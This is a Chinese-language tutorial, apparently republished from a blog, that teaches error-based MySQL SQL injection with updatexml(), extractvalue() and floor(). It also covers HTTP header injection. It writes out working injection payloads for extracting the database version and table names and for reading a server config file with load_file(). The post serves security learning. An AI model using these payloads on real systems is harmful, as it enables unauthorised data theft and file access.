ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL注入—报错函数

2021-08-11 13:03:32  阅读:494  来源: 互联网

标签:xml 函数 admin SQL 0x7e 报错 updatexml concat


适用情况 Insert/update/delete型数据库的处理,都是通过报错函数进行数据注入回显的,或者通过DNSlog注入来获取数据。 如:注册,修改,删除等都属于数据库的上述三种操作,其中delete型需要在删除选项处查看网站URL,其余两种只需要在输入数据处进行注入即可 常用报错函数 1.updatexml():Mysql中对XML文档数据进行查询和修改的XPATH函数,通过xml查询过程中的返回的错误获取报错信息 updatexml(xml_target, xpath, new_xml) xml_target::需要操作的xml片段,为表中字段名 xpath:需要更新的xml路径(xpath格式的字符串) new_xml:更新后的内容 第二个参数xpath的定位必须是有效的,否则会发生错误。 如果Xpath传入的是一个表达式,那么会先把表达式执行一遍再进行报错。 实际上第一个和第三个传入的参数都是错误的,重点是第二个传入的参数 2.extractvalue():Mysql中对XML文档数据进行查询的函数,通过xml查询过程中的返回的错误获取报错信息,并返回包含查询值的字符串 extravalue(xml_document,xpath_string) 构造XPATH定位的错位 3.floor():Mysql中用来取整的函数,通过数据生成错误产生报错信息 基于函数报错的信息获取 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。 前置条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端 具体操作 1.updatexml() # 法一    admin' and updatexml(1,concat(0x7e,version()),0) #    admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),0) #    此时出现报错Subquery returns more than 1 row,添加限制    admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #  # 0x7e是~的十六进制,用于显示完整信息,避免被吃掉,也可以在抓包中方便查找的索引   # limit m n 表示从第m行开始,往前n位    之后可以通过修改limit的m值来查看不同的类,其他操作以此类推,也可以通过Burp进行抓包,使用Intruder进行爆破,在limit的m值处添加爆破点,对列数进行联系爆破 # 解释:admin' 与前面的单引号形成闭合,后面的注释符注释掉后面的单引号,由于admin是正确的语句,即已经进入数据库内部并过滤后面的操作,所以updatexml()是正确执行,        只是第一个传入参数和第三个传入参数是错误的所以产生报错信息 # 法二    admin' or updatexml(1,concat(0x7e,version()),0) or' # 解释:这里就是or的逻辑判断,or的特点是一真即真,admin'与前面单引号形成闭合,后面的or的单引号与之后的数据形成闭合,而之后的数据必然正确,所以第二个or为真,        即整个语句为真,所以updatexml()正常执行,剩下的和法一一致 2.extractvalue() kobe' and extractvalue(0,concat(0x7e,database())) # kobe' or extractvalue(0,concat(0x7e,database())) or' # 原理和updatexml()差不多,,只不过传两个参数,第一个参数错误,第二个参数正常 # 读取文件 kobe' and extractvalue(0,concat(0x7e,(select load_file("C:\phpStudy\PHPTutorial\MySQL\config.inc.php")),0x7e)) # 3.floor() kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) x from information_schema.tables group by x )a) #利用的逻辑差不多 补充 Http Header注入 有时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http header头信息获取客户端的一些信息,比如useragent,accept等会对http header信息进行获取并且使用SQL进行处理, 如果此时没有足够的安全考虑则会导致基于http header的SQL Inject漏洞。 Http header注入需要我们关注数据包与数据库存在交互的地方,如果这种地方过滤比严格,闭合简单,可以通过报错函数注入出数据库的数据 如:user-agent,cookie等等 总结 SQL注入的精髓在于他没有原来回显位,而你通过构造完成了闭合,继而通过报错函数的报错信息创造了回显位,让数据库的信息展现出来,只要闭合完成,那么你的报错函数正常执行,三种就都是一样的结果                                

标签:xml,函数,admin,SQL,0x7e,报错,updatexml,concat
来源: https://www.cnblogs.com/hide-in-dark/p/15127728.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有